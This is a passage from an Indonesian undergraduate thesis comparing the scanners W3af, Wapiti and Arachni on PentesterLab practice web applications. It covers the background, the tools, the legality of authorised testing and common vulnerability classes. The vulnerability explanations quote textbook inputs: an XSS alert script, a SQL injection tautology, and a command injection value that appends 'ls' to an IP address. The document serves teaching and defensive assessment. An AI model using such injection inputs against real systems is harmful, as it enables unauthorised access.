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ABSTRAK
BHASKARA VITO TARIGAN, Jurusan Teknik Informatika, Fakultas llmu
Komputer Universitas Brawijaya, Maret 2016, Analisa Perbanding Penetration
Testing Tool Untuk Aplikasi Web, Dosen Pembimbing: Ari Kusyanti , S.T, M.Sc,
Widhi Yahya, S.Kom, M.Sc.

Abstrak - Uji penetrasi adalah serangkaian kegiatan yang dilakukan untuk
mengidentifikasi dan mengeksploitasi kerentanan keamanan. Untuk membantu
mengkonfirmasi efektivitas atau ketidakefektifan langkah-langkah keamanan yang
telah dilaksanakan. Paper ini membahas dan metodologi dalam melakukan uji
penetrasi dengan ketiga penetration testing tool yaitu W3af, Wapiti, dan Arachni.
Metodologi uji penetrasi mencakup tiga tahap: persiapan pengujian, tes dan
analisa tes. Tahap uji coba melibatkan langkah-langkah berikut: analisa
kerentanan, pengumpulan informasi , dan analisa tool. Hasil dari pengujian
perbandingan ini nantinya dibandingkan dengan tool yang digunakan untuk
mengetahui tool mana yang lebih banyak mengidentifikasi kerentanan. dengan
Paper ini mengambarkan secara lebih lanjut untuk menganalisa perbandingan
penetration testing tool yang menentukan dan mengetahui serangan-serangan
dimana saja yang dapat bisa terdeteksi dari ketiga tool yang telah diuji dari
kerentanan yang ada pada aplikasi web.

Kata kunci: Uji Penetrasi, W3af, Wapiti, Arachni, Kerentanan
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ABSTRACT
BHASKARA VITO TARIGAN, Department of Informatics, Brawijaya University,
March 2016, Comparison Analysis Penetration Testing Tool for Web Applications,
Advisor: Ari Kusyanti, S.T, M.Sc, Widhi Yahya, Kom, M.Sc.

Abstract - Penetration testing is a series of activities undertaken to identify and
exploit security vulnerabilities. This helps confirm the effectiveness or
ineffectiveness of security measures that have been implemented. This paper
discusses the methodology in conducting penetration tests with a third tool
penetration test is W3af, Wapiti, and Arachni. Penetration testing methodology
includes three phases: test preparation, test and analysis test. Pilot phase involves
the following steps: vulnerability analysis, information collection and analysis tool.
This paper portrait is more to comparison tool that determines the penetration test
and find out attacks anywhere that can be detected from the three tool that have
been tested on existing vulnerabilities in web applications.

Keywords: Penetration Testing, W3af, Wapiti, Arachni, Vulnerability
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BAB 1
PENDAHALUAN

1.1 Latar Belakang

Keamanan adalah salah satu dari masalah utama sistem informasi.
pertumbuhan konektivitas dari komputer melalui Internet, meningkatnya
ekstensibilitas sistem, dan pertumbuhan ukuran yang tidak terkendali dari ukuran
dan kompleksitas sistem telah membuat keamanan perangkat lunak sebuah
masalah yang lebih besar sekarang daripada di masa lalu. Selain itu, satu
kepentingan bisis untuk secara cukup melindungi aset informasi organisasi dengan
mengikuti pendekatan yang komprehensif dan terstruktur untuk memberikan
perlindungan dari risiko yang mugkin dihadapi sebuah organisasi (Aileen G., 2011).
Dalam upaya untuk memecahkan masalah keamanan dan mematuhi peraturan
keamanan yang berlaku, pakar keamanan telah mengembangkan berbagai
metode jaminan keamanan yang mencakup bukti kebenaran desain berlapis,
lingkungan rekayasa perangkat lunak dan uji penetrasi.

Uji penetrasi adalah metode komprehensif untuk menguji dasar komputasi
yang lengkap, terpadu,operasional, dan terpercaya yang terdiri dari perangkat
keras, perangkat lunak dan manusia.Proses ini melibatkan analisis aktif sistem
untuk setiap potensi kerentanan, termasuk konfigurasi sistem yang buruk atau
tidak tepat, kelemahan hardware dan software, dan kelemahan operasional dalam
proses atau penanggulangan teknis (Aileen G., 2011)

Beberapa tool yang digunakan dalam uji penetrasi ini adalah W3af , Wapiti,
dan Arachni dari setiap tool tersebut dapat melakukan perbandingan dengan uji
penetrasi yang memungkinkan tool tersebut apakah dapat mendeteksi semua
kerentanan pada aplikasi web.Uji penetrasi berbeda dari pengujian fungsional
keamanan. Yang belakangan ini menunjukkan perilaku yang benar dari kontrol
keamanan sistem, sedangkan uji penetrasi menentukan kesulitan bagi seseorang
untuk menembus kontrol keamanan organisasi terhadap akses yang tidak
berwenang pasa sistem informasi dan informasinya. Hal ini dilakukan dengan
mensimulasikan pengguna yang tidak berwenang untuk menyerang sistem, baik
menggunakan alat otomatis atau metode manual atau kombinasi keduanya.

Tujuan dari skripsi ini adalah untuk menganalisis perbandingan penetration
testing tool yang menentukan dan mengetahui serangan-serangan dimana saja
yang dapat terdeteksi dari ketiga tool yang telah diuji dari kerentanan yang ada
pada sistem aplikasi web www.pentesterlab.com.



1.2 Rumusan Masalah

Beberapa masalah yang tercakup dalam pembuatan Tugas Akhir ini antara lain
adalah :

1. Bagaimana membandingkan penetration testing tool W3af , Wapiti , dan
Arachni pada aplikasi web www.pentesterlab.com

2. Bagaimana hasil analisis perbandingan tools W3af, Arachni, dan Wapiti
pada kerentanan aplikasi web.

Tujuan dilakukannya penelitian ini adalah :

a) Mendapatkan hasil identifikasi perbandingan dari tool W3af, Wapiti, dan
Arachni pada aplikasi web yang diuji .
b) Mengetahui perbandingan sistem dari ketiga tool uji penetrasi.

1.3 Manfaat
Manfaat yang dapat diperoleh dari uji penetrasi antara lain :

e Bagi penulis, bisa memberikan tambahan ilmu dan tentang tool penetrasi
pada penelitian lanjutan untuk pengembangan keamanan jaringan di
tempat lain.

e Memberikan suatu alternatif source dengan biaya rendah dan hasil yang
maksimal

1.4 Batasan Masalah
Dalam pengerjaan skripsi ini terdapa beberapa batasan masalah antara lain:

1. Pengujian akan dilakukan dalam ruang lingkup jaringan dan sistem web
aplikasi berdasarakan informasi yang didapat dari internet.

2. Penelitian akan memfokuskan pada pengujian tool penetrasi dari aspek-
aspek teknis seperti aplikasi web, software dan sistem operasi.

3. Server target adalah aplikasi web yang di uji kerentanannya.

1.5 Sistematika pembahasan

Sistematika pemabahasan dalam penelitian ini tersusun atas enam bab yang
terdiri dari atas pendahuluan,landasan pustaka,metode peneletian yang
dilkakukan,hasil,pembahasan,serta penutup yang terdiri atas pengambilan
kesimpulan dan pemberian saran. Sistematika penulisan yang digunakan dalam
penyusunan laporan penelitian ini adalah sebagai berikut.

BAB | PENDAHULUAN
Memuat latar belakang, rumusan maslah, ruang lingkup, tujuan ,
dan sistematika penulisan

BAB Il LANDASAN KEPUSTAKAAN
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BAB Il

BAB IV

BAB V

BAB VI

Mengkaji teori-teori yang menunjang skrispsi ini , diantaranya
tentang Penetration Testing Tool W3AF , Arachni , dan Wapiti
Vulnerabilty serta hasil nilai yang dapat dijadikan hasil dari
perbandingan tersebut.

METODOLOGI

Bab ini menjelaskan secara garis besar langkah-langkah yang
dilakukan dalama penelitian ini. Bab ini terdiri dari Bahan Penelitian
dan alat penelitian

HASIL

Hasil dari uji coba dalam uji tool penetrasi dalam aplikasi web (
Penetration Testing ) dapat tercapai dan dapat dikembangkan lagi
dalam setiap uji coba berikutnya.

PEMBAHASAN

Penjelasan mengenai hasil dari pengujian manual dan pengujian
automatis dengan menggunakan tool W3af,Arachni,dan Wapiti
pada aplikasi web www.pentesterlab.com

PENUTUP

Berisi kesimpulan dan saran yang diperoleh dari analisis untuk
menentukan hasil dari perbandingan yang telah di uji dari uji coba
pada penetration testing tool.



BAB 2
LANDASAN KEPUSTAKAAN

2.1 Penetration Testing

Tujuan utama dari penilaian kerentanan adalah mengidentifikasi kerentanan
keamanan di bawah keadaan yang dikendalikan sehingaa mereka dapat
dihilangkan sebelum pengguna yang tidak berwenang mengeksploitasi mereka.
Ahli sistem komputasi menggunakan uji penetrasi untuk mengatasi masalah yang
melekat dalam penilaian kerentanan, dengan fokus pada kerentanan dengan
tingkat keparahan yang tinggi. Uji penetrasi adalah alat penilaian jaminan bernilai
yang menguntungkan baik bisnis dan operasinya. Dari segi operasional, pengujian
penetrasi membantu membentuk strategi keamanan informasi melalui
indentifikasi kerentanan yang cepat dan akurat; penghapusan proaktif dari risiko
yang teridentifikasi; pelaksanaan tindakan korektif; dan peningkatan pengetahuan
Tl (Bacudio, Aileen G., 2011).

Uji penetrasi memberikan informasi rinci tentang ancaman keamanan aktual,
yang dapat dieksploitasi jika tercakup dalam doktrin dan proses keamanan
organisasi. Hal ini akan membantu organisasi untuk mengidentifikasi dengan cepat
dan secara akurat, pontesi kerentanan dan kerentanan yang nyata.Dengan
memberikan informasi yang diperlukan untuk secara efektif dan efisien
mengisolasi dan memprioritaskan kerentanan, uji penetrasi dapat membantu
penyempurnaan dan perubahan konfigurasi pengujian atau patch organisasi untuk
secara proaktif menghilangkan risiko yang diidentifikasi.Uji penetrasi juga dapat
membantu organisasi mengukur dampak dan kemungkinan kerentanan. Hal ini
akan memungkinkan organisasi untuk memprioritaskan dan menerapkan langkah-
langkah korektif untuk kerentanan yang telah diketahui dan dilaporkan (Bacudio,
Aileen G., 2011). Proses melaksanakan uji memerlukan banyak waktu, tenaga dan
pengetahuan dalam menangani kompleksitas ruang pengujian. Uji penetrasi
karena itu akan meningkatkan tingkat pengetahuan dan keterampilan siapapun
yang terlibat dalam prosesnya.

2.1.1 Penetration Testing Tool
Berikut adalah beberapa tools yang digunakan dalam melakukan penetration
testing :
W3af
Wapiti
. Arachni

1

2

3

4. Metasploit
5. Acunetix
6

Fasttrack



7. OpenVas
8. Nikto

2.2 Tipe Penetration Testing

Terdapat tiga daerah untuk menguji pengujian penetrasi: struktur fisik dari
sistem, struktur logis dari sistem, dan respon atau alur kerja dari sistem (Bacudio,
Aileen G., 2011). Ketiga daerah yang menentukan ruang lingkup dan jenis uji
penetrasi yaitu jaringan, aplikasi, dan rekayasa sosial.

Uji penetrasi jaringan adalah cara yang etis dan aman untuk mengidentifikasi
kesenjangan atau kelemahan keamanan dalam desain, implementasi atau operasi
jaringan organisasi. Penguji melakukan analsis dan eksploitasi untuk menilai
apakah modem, perangkat akses remote dan koneksi pemeliharaan dapat
digunakan untuk menembus target pengujian.Uji penetrasi aplikasi adalah
simulasi serangan yang dimaksudkan untuk mengekspos efektivitas kontrol
keamanan aplikasi dengan melihat risiko yang ditimbulkan oleh kerentanan nyata
yang dapat dieksploitasi. Meskipun organisasi menggunakan firewall dan
monitoring system untuk melindungi informasi, keamanan masih berbahaya
karena lalu lintas dapat diizinkan untuk melewati firewall.

Rekayasa sosial memangsa interaksl manusia untuk mendapatkan atau
membahayakan informasi tentang organisasi dan sistem komputer (Bacudio,
Aileen G., 2011). Hal ini digunakan untuk menentukan tingkat kesaaran keamanan
antara karyawan dalam organisasi yang memiliki sistem target. Hal ini berguna
untuk menguji kemampuan organisasi untuk mencegah akses yang tidak
berwenang pada informasi dan sistem informasinya.Bahwa ini adalah tes yang di
fokuskan pada alur kerja organisasi.

2.3 Legalitas Penetration Testing

Tindakan yang termasuk dalam kegiatan penetration testing, aspek hukumnya
telah diatur pada bab VII Perbuatan yang Dilarang, dalam pasal 30 Undang-undang
Republik Indonesia Nomor 11 Tahun 2008 Tentang Informasi dan Transaksi
Elektronik (UU ITE).

(1) Setiap Orang dengan sengaja dan tanpa hak atau melawan hukum
mengakses Komputer dan/atau Sistem Elektronik milik Orang lain dengan
cara apa pun.

(2) Setiap Orang dengan sengaja dan tanpa hak atau melawan hukum
mengakses Komputer dan/atau Sistem Elektronik milik Orang lain dengan
cara apa pun dengan tujuan untuk memperoleh Informasi Elektronik
dan/atau Dokumen Elektronik.

(3) Setiap Orang dengan sengaja dan tanpa hak atau melawan hukum
mengakses Komputer dan/atau Sistem Elektronik milik Orang lain dengan
cara apa pun dengan melanggar, menerobos, melampaui, atau menjebol
sistem pengamanan.



Kegiatan ini sah dan tidak melawan hukum karena penulis dan pengelola sistem
membuat kesepakatan secara tertulis tentang poin-poin kegiatan penetration
testing yang akan dilakukan.

2.4 Penilaian Kerentanan

Vulnerability adalah kelemahan dalam aplikasi yang dapat menjadi
penghambat implementasi atau kekurangan desain yang memungkinkan
penyerang untuk membahayakan pengguna dari aplikasi dan mendapatkan hak
istimewa tambahan Kerentanan adalah potensi risiko untuk sistem. Penyerang
menggunakan kerentanan tersebut untuk mengeksploitasi sistem dan
mendapatkan akses dan informasi yang bukan kewenangannya (Goel, Jai Narayan.
2015). Sebuah sistem yang bebas kerentanan dapat menyediakan lebih banyak
jaminan informasi dan sistem keamanan. Meskipun hampir mustahil untuk
memiliki 100% sistem yang bebas kerentanan, tapi dengan menghilangkan
kerentanannya sebanyak mungkin, dan dapat meningkatkan sistem keamanan.

Penilaian kerentanan adalah proses pemindaian sistem atau perangkat lunak
atau jaringan untuk mengetahui kelemahan dan celah dalam hal tersebut. Celah
ini dapat menjadi ‘back door’ bagi penyerang untuk menyerang korban. Sebuah
sistem mungkin memiliki kerentanan kontrol akses, kerentanan kondisi
perbatasan, kerentanan validasi input, kerentananan otentikasi, kerentanan
kelemahan konfigurasi, dan kerentanan penanganan eksepsi.

Uji penetrasi adalah langkah berikutnya setelah penilaian kerentanan. Uji
penetrasi adalah mencoba untuk mengeksploitasi sistem dengan cara yang
disahkan untuk mengetahui kemungkinan eksploitasi dalam sistem. Dalam uji
penetrasi, penguji memiliki kewenangan untuk melakukan uji penetrasi dan secara
seksama mengeksploitas sistem dan mencari tahu kemungkinan eksploitasi. (Goel,
Jai Narayan. 2015).

2.4.1 Penilaian Kerentanan & Teknik Uji Penetrasi

2.4.1.1 Teknik Penilaian Kerentanan

Pada bagian menjelaskan beberapa teknik VAPT populer (Goel, Jai Narayan.
2015).

2.4.1.2 Static Analysis

Dalam teknik Static Analysis tidak melakukan kasus pengujian atau
mengeksploitasi apapun. Menganalisis struktur kode dan isi dari sistem
,dengan teknik ini dapat mengetahui tentang semua jenis kerentanan.
Dalam teknik ini tidak mengeksploitasi sistem, sehingga tidak akan ada
pengaruh buruk dari pengujian pada sistem. Salah satu kelemahan utama
dari teknik ini adalh bahwa hal itu cukup lambat dan membutuhkan
banyak waktu untuk dilaksanakan.



2.4.1.3 Manual Testing

Teknik Manual Testing tidak memerlukan alat atau perangkat lunak
apapun untuk mengetahui kerentanan. Di sini pengujian menggunakan
pengetahuan dan pengalaman untuk mengetahui kerentanan dalam
sistem. Pengujian ini dapat dilakukan dengan rencana pengujian yang
dipersiapkan (pengujian manual sistematis) atau tanpa rencana
pengujian apapun (pengujian manual eksplorasi). Teknik ini biayanya
lebih murah dibandingkan dengan teknik lain, karena tidak perlu
membeli alat penilaian kerentanan untuk teknik ini.

2.4.1.4 Automated Testing

Automated Testing menggunakan alat pengujian kerentanan
otomatis untuk mengetahui kerentanan dalam sistem. Alat-alat ini
melaksanakan semua kasus pengujian untuk mengetahui kerentanan. Ini
mengurangi waktu yang dibutuhkan untuk melakukan pengujian. Karena
alat ini, pengujian yang berulang juga dapat dilakukan dengan sangat
mudah. Pengujian otomatis memberikan akurasi yang lebih baik
daripada apa yang disediakan teknik lainnya. Hal tersebut hanya
membutuhkan waktu yang singkat dan kasus pengujian yang sama dapat
digunakan untuk operasi masa depan. Tapi alat tersebut meningkatakan
biaya pengujian. Sebuah alat tunggal tidak mampu untuk mengetahui
semua jenis kerentanan. Sehingga hal ini meningkatkan total biaya untuk
melakukan penilaian kerentanan.

2.4.2 Teknik Uji Penetrasi
2.4.2.1 Black Box Testing

Dalam teknik ini dijelaskan memiliki pengetahuan sebelumya dari
arsitektur jaringan atau sistem jaringan pengujian. Biasanya pengujian
kotak hitam (black box testing) dilakukan dari jaringan eksternal ke
jaringan internal. Penguji harus menggunakan keahlian dan
keterampilannya untuk melakukan pengujian ini.

2.4.2.2 Grey Box Testing

Dalam teknik ini dijelaskan memiliki beberapa pengetahuan parsial
jaringan pengujian.Penguji tidak memiliki pengetahuan tentang arsitektu
jaringan yang lengkap, tapi beberapa informasi dasar dari jaringan
pengujian dan konfigurasi sistem.Sebenarnya, kotak pengujian abu-abu
adalah kombinasi dari kedua teknik lainnya. Hal ini dapat dilakukan dari
jaringan internal atau eksternal.

2.4.2.3 White Box Testing

Dengan memiliki sumber yang lengkap tentang konfigurasi jaringan
dari jaringan pengujian dan konfigurasi sistem dari jaringan atau sistem
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pengujian. Biasanya pengujian ini dilakukan dari jaringan internal.
Pengujian kotak putih memerlukukan pemahaman mendalam tentang
jaringan atau sistem pengujian dan memberikan hasil yang baik. (Goel,
Jai Narayan. 2015).

2.4.3 Proses Penetration Testing

Proses uji penetrasi secara luas dapat dibagi menjadi tiga tahap: pengumpulan
informasi, generasi serangan, dan analisis respon. Gambar 2.1 menunjukkan
gambaran tingkat tinggi dari proses pengujian penetrasi generik. Pada tahap
pengumpulan informasi, penguju menggunakan berbagai teknik, seperti
pemindaian otomatis, web crawler, dan rekayasa sosial, untuk memperoleh
informasi tentang aplikasi target. Informasi ini digunakan untuk menggerakan fase
generasi serangan, dimana penguji menggunakan informasi yang diidentifikasi,
bersama-sama dengan pengetahuan domain tentang kemungkinan kerentanan,
untuk menghasilkan serangan. Penguji penetrasi biasanya menggunakan berbagai
alat komersial dan open-source untuk mengotomatisasi generasi serangan.
Terakhir, fase analisis respon memeriksa apakah serangan telah berhasil dan, jika
demikian, informasi tentang serangan itu. Hasil akhir dari proses pengujian
penetrasi adalah laporan yang merinci kerentanan yang ditemukan dan serangan
yang sesuai. Developer dapat menggunakan informasi ini untuk menghilangkan
kerentanan dan meningkatkan keamanan perangkat Iunak mereka
(Mukhopadhyay,Indraneel., 2014) .

Target

: i Attacks
5e|ect|ona Information Informatmn‘ Attack
Gathering #1 Generation
A

Pen Tester E

Analysis E__&
=
feedback
Oemn
Repaort Response L

€ Analysis RESDONSEs Web
P Application

Gambar 2.1 Proses Uji Penetrasi
(Sumber : William G. J. Halfond, 2011)

2.4.4 Kerentanan

2.4.4.1 Cross-Site Scripting (XSS)

Cross-site scripting sering disingkat sebagai XSS. Singkatnya hal itu terjadi
ketika seorang penyerang dapat memasukkan kode HTML (seperti javascript),
yang kemudian akan dilaksanakan untuk pengunjung situs. Sebuah contoh adalah
buku tamu yang menunjukkan teks yang dimasukkan dalam buku tamu di website.
Jika penyerang memasuki string script> alert (‘XSS’);</ script> pop-up dengan
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dapat dieksploitasi dengan cara yang lebih serius. Sebuah serangan mungkin
menggunakan XSS untuk mencuri cookie pengguna, yang kemudian dapat
digunakan untuk meniru pengguna pada situs web(Loo,Frank van der. 2011).

2.4.4.2 SQL Injections

SQL Injection dapat terjadi ketika masukan pengguna yang tidak divalidasi
digunakan untuk membangun sebuah query SQL yang kemudian dieksekusi oleh
web server. Sebuah contoh yang sangat terkenal adalah quer yang digunakan oleh
user login. Query ini biasanya seperti “SELECT*FROM users WHERE username = *
masukkan username’dan password = x ‘OR’ 1 =" 1 * “, Karena ‘1’ selalu sama
dengan “1’, query ini berlaku untuk semua catatan dalam database. Penjelasan
lebih rinci dapat ditemukan di website OWASP. SQL Injection server menunjukakan
pesan kesalahan saat sintaks query SQL salah, untuk SQL Injection pesan kesalahan
ini tidak ditampilkan. Sebaliknya penyerang aka melihat pesan kesalahan umum
atau halaman (Loo,Frank van der. 2011)

2.4.4.3 Directory Traversal

Directory Traversal bertujuan untuk mengakses file dan direktori yang
disimpan di luar web root folder. Dengan memanipulasi variabel yang mereferensi
file dengan urutan “ titik-titik garis miring (../)” dan variasinya atau dengan
menggunakan jalur absolute file, mungkin untuk mengakses file dan direktori
arbitary yang tersimpan pada sistem file termasukm kode atau konfigurasi sumber
aplikasi dan file sistem kritis. Perlu dicatat bahwa akses ke file dibatasi oleh kontrol
akses operasional sistem .

2.4.4.4 Authentication

Authentication adalah proses dimana sebuah entitas membuktikan identitas
entitas lain, biasanya melalui pemberitahuan, seperti nama pengguna dan
password. Tergantung pada kebutuhan pengguna, terdapat beberapa mekanisme
otentikasi yang tersedia untuk dipilih. Jika tidak di pilih dan dilaksanakan secara
benar, mekanisme otentikasi dapat mengekspos kerentanan yang penyerang
dapat manfaatkan untuk mendapatkan akses ke sistem pengguna.

2.4.4.5 Captcha

Captcha adalah sebuah program yang dapat menghasilkan dan menilai
pengujian dimana: bisa dilewati oleh kebanyakan orang, tapi program komputer
saat ini tidak bisa melewatinya. Program tersebut dapat digunakan untuk
membedakan manusia dari komputer dan memiliki banyak aplikasi untuk
keamanan praktis(Ahn, Luis von.2000)

2.4.4.6 Authorization

Authorization adalah layanan kemanan utama yang menyangkut banyaknya
perangkat lunak, dengan sebagian besar layanan keamanan lain yang menyangkut
banyaknya perangkat lunak, dengan sebagian besar layanan keamanan lain yang



mendukungnya. Misalnya, keputusan kontrol akses umumnya ditegakkan atas
dasar kebijakan pengguna tertentu, dan otentikasi adalah cara membangun
pengguna yang bersangkutan. Demikian pula, kerahasiaan benar-benar sebuah
manifestasi dari kontrol akses, khususnya kemampuan untuk membaca data.
karena, dalam keamanan komputer, kerahasiaan sering identik dengan enkripsi,
itu menjadi untuk menegakkan sebuah kebijakan akses-kontrol. Kebijakan yang
akan diberlakukan oleh mekanisme akses kontrol umumnya beroperasi pada set
sumber daya tersebut (kemampuan). Misalnya, kemampuan umum untuk file
pada sistem file adalah: membaca, menulisn mengeksekusi, membuat, dan
menghapus. Namun, ada operasi lain yang dipertimbangkan “meta-operasi” yang
sering diabaikan — terutama membaca dan menulis atribut file, pengaturan
kepemilikan file, dan menetapkan kebijakan kontrol akses ke salah satu operasi
ini.

2.4.4.7 Mongo DB Injection

MongoDB merupakan open-source NoSQL-Database yang dikembangkan oleh
10gen di C ++. NoSQL adalah sebuah tren baru dalam pengembangan database
dan mengacu secara umum pada database tanpa skema tetap. Database tersebut
biasanya memiliki keamanan transaksi yang lebih rendah tetapi lebih cepat dalam
mengakses data dan skalanya lebih baik dari database relasional. Untuk informasi
lebih lanjut tentang NoSQL database disarankan membaca buku NoSQL yang
ditulis oleh S. Edlich et. Al (Rapperswill, 2012).

2.4.4.8 File Include

File Include jarak jauh sama dengan inklusi file lokal, kecuali bahwa file yang
disertakan adalah file dari server yang berbeda dari yang dijalankan aplikasi web.
Contoh dari kerentanan ini adalah seperti untuk inklusi file lokal. Namun, selain
mengubah parameter nama file ke file lokal, penyerang harus memasukkan path
ke sebuah file jarak jauh.

2.4.4.9 Code Injection

Code Injection adalah istilah umum untuk jenis serangan yang terdiri dari kode
injeksi yang kemudian diinterpretasikan/dieksekusi oleh applikasi. Jenis serangan
ini mengeksploitasi buruknya penanganan data yang tidak dipercaya. Jenis-jenis
serangan biasanya dimungkinkan karena kurang tepatnya validasi data input /
output , misalnya : karakter yang diizinkan (kelompok ekspresi reguler standar
atau kode khusus), format data, jumlah data yang diharapkan.

Code Injection berbeda dari Command Injection bahwa seorang penyerang
hanya dibatasi oleh fungsi bahasa yang diinjeksi itu sendiri. Jika seorang penyerang
mampu menginjeksi kode PHP ke dalam aplikasi dan melaksanakannya, ia hanya
dibatasi oleh apa yang mampu dilakukan PHP. Perintah injeksi terdiri dari
memanfaatkan kode yang ada untuk menjalankan perintah, biasanya dalam
konteks shell.
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2.4.4.10 Command Injection

Command Injection adalah peyerang yang dapat mengeksekusi perintah di
server. Sebuah contohnya adalah aplikasi web yang memungkinkan pengguna
memasukkan alamat IP dimana server akan mengirimkan ping. Jika penyerang
akan memasuki string 1.2.3.4;ls server akan mengirim ping ke alamat IP 1.2.3.4
dan menjalankan perintah “Is”. Penjelasan lebih rinci dapat ditemukan di situs web
OWASP . Kerentanan ini dapat di uji dengan alat uji penetrasi dengan memasukkan
koma diikuti oleh perintah (misalnya “Is”) menjadi masukan halaman yang
mungkin rentan dan memeriksa jika respon dari aplikasi web berisi output dari
perintah yang di masukkan (Loo, Frank Van Der.2011).

2.5 Penjelasan Penetration Testing Tool

2.5.1 W3af

W3af adalah singkatan dari Web Application Attack and Audit Framework (Loo,
Frank Van Der.2011).Ini adalah sebuah program open-source, ditulis dengan
pyhton. Dengan menggunakan plugin untuk melakukan serangan pada aplikasi
web. Keterangan tentang kerentanan plugin ini diklaim untuk medeteksi yang
dapat ditemukan di website alat ini. W3af juga menggunakan struktur berbasis
teks yang digerakan oleh menu, tetapi juga memiliki GUI. Hasil dikeluarkan pada
konsol atau ke XML-, text-, atau HTML-file.

2.5.1.1 Kelebihan dan Kekurangan W3af
Kelebihan dari W3af sendiri adalah :

e Mudah digunakan.

o Merupakan identifikasi aplikasi web dengan menggunakan 130 plug-in.

e Menampilkan hasil scan yang lebih teknis.

e Pengguna memiliki pilihan diantara user interface dan sebuah command-
line interface.
Kekurangan dari W3af sendiri adalah :

e ada Bug pada W3af

2.5.2 Wapiti

Wapiti adalah open-source lain yang ditulis dalam pyhton (Loo, Frank Van
Der.2011).Kerentanan yang diklaimnya dapat mendeteksi hal-hal yang dapat
ditemukan di website alat ini. Ini bekerja dari baris perintah sepenuhnya secara
otomatis, namun opsi baris perintah dapat digunakan untuk menyesuaikan
pemindaian. Output ditulis ke konsol atau XML-, text-, atau HTML-file.

2.5.2.1 Kelebihan dan Kekurangan Wapiti
Kelebihan dari Wapiti sendiri adalah :
e  Wapiti mendukung GET dan POST HTTP dengan metode untuk serangan.
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e Menampilkan peringatan saat anomali ditemukan (misalnya 500
kesalahan dan timeout).
e Cepat dan mudah untuk mengaktifkan / menonaktifkan modul serangan.
e Waktu scanning dapat sekalian langsung di attack/serang.
Kekurangan dari Wapiti sendiri adalah :
e Memakan waktu yang lama ketika scanning

2.5.3 Arachni

Arachni adalah kerangka ruby dengan fitur yang lengkap, modular dan dengan
kinerja yang tinggi, ditujukan untuk membantu penguji penetrasi dan
administrator mengevaluasi keamanan aplikasi web. Arachni cerdas, karena hal
tersbut melatih diri dengan belajar dari tanggapan HTTPyang diterima selama
proses audit. Tidak seperti pemindai lainnya, Arachni memperhitungkan sifat
dinamis dari aplikasi web dan dapat mendeteksi perubahan yang disebabkan saat
bepergian melaluli jalur kompleksitas cyclomatic aplikasi web. Dengan cara ini
vektor serangan / input yang tidak akan terdeteksu oleh non-manusia secara
mulus ditangani oleh Arachni. Terakhir, Arachni menghasilkasn performa yang
hebat karena model HTTPasinkron (courtsey of Typhoeus). Dengan demikian,
hanya akan dibatasi oleh respon dari server di bawah audit dan bandwith anda
yang tesedia.

2.5.3.1 Kelebihan dan Kekurangan Arachni
Kelebihan dari Arachni sendiri adalah :

e Menampilkan hasil scanning dengan banyak pilihan.

e Permintaan HTTP asyncronous untuk komunikasi yang cepat.

e Mendukung scan multi-instance untuk audit yang super cepat.

e Melakukan analisis meta data pada respon HTTPyang diterima.
Kekurangan dari Arachni sendiri adalah :

e Memakan waktu yang lama ketika scanning

2.6 Ubuntu

Ubuntu adalah sebuah kata Afrika kuno yang berarti 'kemanusiaan kepada
orang lain'. Ini juga berarti 'saya adalah saya karena siapa kita semua'. Sistem
operasi Ubuntu membawa semangat Ubuntu ke dunia komputer
[https://www.ubuntu.com/about/about-ubuntu].

Ubuntu terdiri dari banyak paket perangkat lunak, yang sebagian besar
didistribusikan di bawah lisensi perangkat lunak bebas (juga dikenal sebagai open
source). Lisensi utama yang digunakan adalah GNU General Public License (GNU
GPL) yang, bersama dengan GNU Lesser General Public License (GNU LGPL), secara
eksplisit menyatakan bahwa pengguna bebas untuk menjalankan, menyalin,
mendistribusikan, mempelajari, mengubah, mengembangkan dan meningkatkan
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perangkat lunak. Ubuntu disponsori oleh perusahaan yang berbasis di Inggris
Canonical Ltd, yang dimiliki oleh pengusaha Afrika Selatan Mark Shuttleworth.

Ubuntu berfokus pada kegunaan.Ubiquity installer mengizinkan Ubuntu untuk
diinstal pada hard disk dari dalam lingkungan Live CD, tanpa perlu restart
komputer sebelum instalasi. Ubuntu juga menekankan aksesibilitas dan
internasionalisasi untuk menjangkau orang sebanyak mungkin. Dimulai dengan
5,04, UTF-8 yang menjadi standar penyandian karakter,yang memungkinkan
untuk mendukung berbagai script non-Romawi. Sebagai fitur keamanan, alat sudo
digunakan untuk menetapkan hak sementara untuk melakukan tugas
administratif, sehingga akun root tetap terkunci, dan mencegah pengguna yang
tidak berpengalaman dari secara tidak sengaja melakukan perubahan sistem
katastropik atau pembukaan Ilubang keamanan.PolicyKit juga secara luas
diimplementasikan ke dalam desktop untuk lebih mengeraskan sistem melalui
prinsip yang paling sedikit keistimewaannya.

Versi Desktop Ubuntu sekaran mendukung x86 32 bit dan 64 bit. GPU yang
didukung diperlukan untuk menjalankan efek visual seperti Unity Shell. Dalam
kasus GPU yang tidak memadai, Unity dapat direduksi menjadi Unity 2D yang
membutuhkan hardware yang lebih rendah.

Kebutuhan Minimal Server Desktop
Processor 300 Mhz 700 Mhz
Memory (RAM) 128 Mib 384 Mib
Hard Drive 1GB 5GB
Monitor Resolution 640x480 640x480

Tabel 2.1 Persyaratan Sistem pada Ubuntu Untuk
Melakukan Uji Penetrasi

2.7 Independent Samples One Way ANOVA

Independent Samples One Way ANOVA merupakan pengujian yang digunakan
untuk membandingkan means atau rata-rata dari dua kelompok independen
untuk menentukan apakah ada bukti statistik yang menunjukkan rata-rata dari
populasi tersebut memiliki perbedaan yang signifikan. Pengujian ini hanya dapat
dilakukan lebih dari dua kelompok.
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BAB 3
METODOLOGI

3.1 Jenis Penelitian

Dalam bab 3 ini , penelitian yang direncanakan merupakan jenis penelitian
non-implementatif untuk uji tool penetrasi suatu sistem keamanan web apliikasi.
Sesuai dengan tujuan penulisan ini, yaitu analisa perbandingan penetration
testing tool untuk aplikasi web yang menguji vulnerability pada web for pentester
dan web for pentester 2 di www.pentesterlab.com dengan menggunakan
penetration testing tool W3af,Wapiti, dan Arachni. Langkah-langkah yang
digunakan dalam penelitian ini ditunjukkan pada Gambar 3.1

Studi Literartur

v

Identifikasi

v

Pengujian manual dan otomatis pada challenge L
web for pentester dan web for pentester 2 [

* Tidak

Identifikasi Berhasil ?

Pengujian

v

Analisa Tool Pengujian

v

Kesimpulan

T
Gambar 3.1 Flowchart Utama Langkah Penelitian
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3.2 Studi Literatur

Metodologi yang digunakan dalam analisis uji tool penetrasi untuk aplikasi web
yang melalui beberapa langkah seperti identifikasi , pengujian manual dan
pengujian otomatis pada challenge aplikasi web www.pentesterlab.com, dan hasil
pengujian.

3.3 Lingkungan Penelitian

Lingkungan penelitian yang digunakan pada penelitian ini adalah aplikasi web
